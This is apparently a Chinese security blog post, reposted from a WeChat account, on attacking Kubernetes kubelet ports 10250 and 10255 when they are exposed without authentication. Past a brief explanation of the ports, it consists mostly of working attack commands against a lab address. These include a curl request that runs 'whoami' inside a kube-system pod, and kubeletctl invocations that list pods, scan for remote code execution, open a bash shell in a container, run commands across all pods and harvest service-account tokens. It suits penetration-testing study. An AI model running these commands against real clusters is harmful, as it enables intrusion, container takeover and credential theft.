kubelet会在K8s集群中的每一个节点上运行一个实例,对容器进行生命周期的管理。kubelet开放的端口有:
-
4194 -
10248 -
10250(kubelet API):是kubelet与 API Server通信的端口,定期请求 API Server获取自己所应当处理的任务,通过该端口可以访问获取node资源以及状态。如果kubelet的10250端口对外暴露,攻击者可创建恶意pod或控制已有pod,后续可尝试逃逸至宿主机。 -
10255(readonly API):提供了pod和node的信息。如果对外开放,攻击者利用公开api可以获取敏感信息。

10250端口未授权访问




systemctl restart kubelet
https://172.16.200.71:10250/runningpods/



命令执行

curl -XPOST -k "https://172.16.200.71:10250/run/kube-system/kube-proxy-scv7g/kube-proxy" -d "cmd=whoami"

./kubeletctl_darwin_amd64 --server 172.16.200.71 pods

./kubeletctl_darwin_amd64 --server 172.16.200.71 scan rce

./kubeletctl_darwin_amd64 --server 172.16.200.71 -p myapp -c container -n test exec "/bin/bash"

./kubeletctl_darwin_amd64 --server 172.16.200.71 run "hostname -i" --all-pods

Token读取
./kubeletctl_darwin_amd64 --server 172.16.200.71 scan token


10255端口未授权访问

systemctl restart kubelet

./kubeletctl_darwin_amd64 --server 172.16.200.71 --http --port=10255 pods


END


原文始发于微信公众号(谢公子学安全):K8S kubelet 10250/10255端口未授权访问